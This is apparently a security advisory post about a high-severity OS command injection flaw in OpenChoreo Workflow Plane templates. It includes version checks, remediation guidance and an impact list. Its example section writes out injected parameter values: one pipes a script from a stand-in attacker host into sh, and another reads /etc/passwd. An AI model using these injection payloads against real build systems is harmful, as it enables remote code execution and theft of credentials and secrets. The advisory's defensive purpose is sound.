Listen to this Post
OpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to versions 1.0.4, 1.1.4, and 1.2.0-rc.2, OpenChoreo Workflow Plane templates located under `samples/getting-started/workflow-templates/` were vulnerable to OS command injection. The root cause was that developer-controlled workflow parameters were interpolated directly into shell program text executed through sh -c, instead of being passed safely through container.env.
An authenticated user with permission to configure and trigger an affected workflow could supply crafted parameter values containing shell metacharacters. Because Argo substituted these values directly into the shell script before execution, the values could alter the script and execute arbitrary commands inside the workflow pod.
In affected configurations, some build and publish templates used privileged Podman containers without Kubernetes pod user-namespace isolation. Consequently, injected commands could run as UID 0 inside a privileged container, with UID 0 mapped into the host user namespace. This substantially increased the potential impact of the command-injection vulnerability.
The remediation ensures that workflow parameters are treated as data rather than executable shell syntax. Affected values are now passed through `container.env` and consumed as quoted shell variables. JSON-derived build environment variables and build arguments are passed as separate argument-vector entries instead of being reconstructed as whitespace-delimited shell strings.
DailyCVE Form:
Platform: OpenChoreo Workflow Plane
Version: <1.0.4, <1.1.4, <1.2.0-rc.2
Vulnerability: OS Command Injection
Severity: High (CVSS 8.8)
Date: 2026-08-13
Prediction: 2026-08-14 (Patches available)
What Undercode Say:
Check your OpenChoreo version:
Check OpenChoreo version
kubectl get deployment openchoreo -o jsonpath='{.spec.template.spec.containers[].image}' | grep -oP 'v?\d+.\d+.\d+'
Verify if vulnerable templates are in use:
List workflow templates kubectl get workflowtemplates -A -o yaml | grep -A5 -B5 "sh -c"
Check for privileged Podman containers without user namespace isolation:
Find privileged containers in workflow templates kubectl get workflowtemplates -A -o yaml | grep -A10 "securityContext:" | grep "privileged: true" Check if hostUsers: false is set kubectl get workflowtemplates -A -o yaml | grep "hostUsers:"
Exploit: (Educational Purposes!)
An attacker with authenticated access and workflow configuration permissions could inject shell metacharacters into a workflow parameter:
Example vulnerable parameter injection
If a template uses: sh -c "build --repo ${repo}"
Attacker sets repo to: "https://github.com/repo; curl http://attacker.com/backdoor.sh | sh"
This would execute: sh -c "build --repo https://github.com/repo; curl http://attacker.com/backdoor.sh | sh"
Crafted parameter value example:
repo: "https://github.com/repo; id; whoami; cat /etc/passwd"
The injected commands would run with UID 0 inside the privileged container, with UID 0 mapped into the host user namespace.
Protection:
Immediately upgrade to patched versions: 1.0.4, 1.1.4, or 1.2.0-rc.2.
Apply corrected templates from:
https://github.com/openchoreo/openchoreo/tree/release-v1.x/samples/getting-started/workflow-templates
Replace `release-v1.x` with `release-v1.0`, `release-v1.1`, or `release-v1.2`.
For custom templates, review and update them to:
- Pass values through `container.env` rather than direct shell interpolation
- Use quoted shell variables
- Pass JSON-derived arguments as separate argument-vector entries
For templates still requiring privileged Podman, enable pod user namespaces by setting `hostUsers: false` to map UID 0 inside the pod to a non-root UID on the host.
If unable to upgrade immediately:
- Restrict permissions for creating, modifying, or triggering workflows to trusted users only
- Do not allow untrusted users to control parameters used by checkout, build, publish, or workload-generation templates
Impact:
An authenticated attacker could execute arbitrary commands inside the workflow pod, potentially:
– Read source code checked out by the workflow
– Read Git credentials, registry credentials, or other secrets mounted into the pod
– Read the pod’s Kubernetes service account token
– Access mounted volumes and other build-time data
– With privileged mode and without hostUsers: false, UID 0 inside the container is UID 0 in the host user namespace, granting broad Linux capabilities and removing several normal container isolation restrictions
– Potentially access host resources or escalate compromise to the underlying node depending on container runtime, available devices, mounted paths, and kernel configuration
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
